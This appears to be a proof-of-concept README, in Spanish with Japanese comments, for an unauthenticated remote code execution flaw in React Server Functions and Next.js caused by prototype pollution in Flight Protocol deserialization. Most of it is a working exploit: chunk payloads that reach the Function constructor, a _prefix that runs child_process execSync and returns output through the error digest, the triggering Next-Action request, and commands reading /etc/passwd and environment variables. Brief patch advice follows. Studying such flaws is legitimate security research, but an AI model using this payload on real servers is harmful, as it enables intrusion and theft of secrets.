
Código de demostración de la vulnerabilidad de ejecución remota de código (RCE) en React Server Functions (Next.js, etc.). Aprovecha la contaminación de prototipos (prototype pollution) para ejecutar código arbitrario en el servidor sin autenticación.
Nota: Este repositorio es únicamente con fines educativos y de investigación. El uso malintencionado está estrictamente prohibido.
En el proceso de deserialización de React Flight Protocol, la validación de la cadena de prototipos es insuficiente. Esto permite acceder al constructor Function a través de __proto__ y ejecutar código JavaScript arbitrario.
Es la forma más sencilla de verificar la vulnerabilidad.
# 1. 脆弱なNext.jsサーバーを起動
docker compose up -d --build
# 1. エクスプロイトを実行(デフォルト: idコマンド)
docker compose run --rm poc
# 4. カスタムコマンドを実行
docker compose run --rm -e COMMAND="whoami" poc
docker compose run --rm -e COMMAND="cat /etc/passwd" poc
docker compose run --rm -e COMMAND="env" poc
# 5. サーバーを停止
docker-compose down
Es una funcionalidad de API de servidor que proporciona Next.js, entre otros.
// Server Action(サーバー側でのみ実行される関数)
async function submitForm(formData) {
'use server' // ← サーバー関数の宣言
// データベース操作など、サーバー側の処理
const result = await db.insert(formData)
return result
}
Cuando se invoca desde el cliente:
El cliente envía los datos en unidades llamadas «chunks»:
files = {
"0": (None, '["$1"]'), # チャンク0: チャンク1への参照
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'), # チャンク1: チャンク2のfruitNameを参照
"2": (None, '{"fruitName":"cherry"}'), # チャンク2: 実際のデータ
}
Cuando se deserializa en el servidor:
{ object: 'fruit', name: 'cherry' }
El punto clave es que los chunks pueden referenciarse entre sí.
Antes del commit de corrección, al resolver las referencias de chunks no se verificaba si la clave existía realmente en el objeto.
Esto permite acceder a la cadena de prototipos.
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}
Proceso de resolución de la referencia:
チャンク1のオブジェクト → __proto__ → constructor → constructor → Function
Resultado:
[Function: Function] // Functionコンストラクタを取得!
Convertimos el chunk 0 en un objeto y establecemos la propiedad then como el constructor Function:
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
Código de Next.js (action-handler.ts:888, antes del parche):
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)
Este await intenta invocar como función el objeto cuyo then es el constructor Function, lo que produce un error:
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>) {
digest: '1259793845'
}
Se ha conseguido el constructor Function, pero ¿cómo lograr que ejecute código arbitrario?
Lo que se necesita:
Idea de maple3142: crear un «chunk falso» en el que el chunk 0 se refiere a sí mismo.
files = {
"0": (None, '{"then": "$1:__proto__:then"}'), # 自分のthenをChunk.prototype.thenで上書き
"1": (None, '"$@0"'), # $@0 = チャンク0の「生」の表現
}
La sintaxis $@ devuelve el «chunk crudo» en lugar del valor ya resuelto:
case "@":
return (
(obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
);
Resultado: el then del chunk 0 se reemplaza por Chunk.prototype.then.
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) {
case "resolved_model":
initializeModelChunk(this); // ← ここに入る
}
// ...
}
Al establecer status: "resolved_model" en el chunk falso, se invoca initializeModelChunk:
files = {
"0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
"1": (None, '"$@0"'),
}
Internamente, initializeModelChunk:
function initializeModelChunk(chunk) {
var rawModel = JSON.parse(resolvedModel),
value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
// ...
}
Aquí se produce la segunda evaluación.
El manejo de blobs de React Flight Protocol (prefijo $B):
case "B":
return (
obj = parseInt(value.slice(2), 16),
response._formData.get(response._prefix + obj) // ← ここを悪用
);
Se manipula el _response del chunk falso para establecer _formData.get como el constructor Function y _prefix como el código que se desea ejecutar:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1, # toString()でエラーにならないように
"value": '{"then": "$B0"}', # blob参照でthenを設定
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('calc');",
"_formData": {
"get": "$1:constructor:constructor", # Functionコンストラクタ
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
Flujo de ejecución:
response._formData.get(response._prefix + "0")
↓
Function("process.mainModule.require('child_process').execSync('calc');0")
↓
// この関数がawaitされて呼び出される → コード実行!
poc.py implementa el payload descrito anteriormente y extrae el resultado de la ejecución del comando a partir del mensaje de error:
# コマンド出力をエラーのdigestフィールドに埋め込む
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});"
Con solo establecer el encabezado HTTP a Next-Action: x, el ataque tiene éxito:
headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers)
Importante: Este ataque ocurre durante la deserialización, por lo que se ejecuta antes de la validación de la acción (getActionModIdOrError).
Actualiza inmediatamente: actualiza React y Next.js a la última versión
npm update react react-dom next
Comprueba la versión:
npm list react next
Medidas de WAF/seguridad:
Next-Action# プロジェクトの脆弱性チェック
npm audit
Este repositorio se proporciona únicamente con fines educativos y de investigación.
Descubrimiento de la vulnerabilidad: maple3142 Implementación del PoC: el creador de este repositorio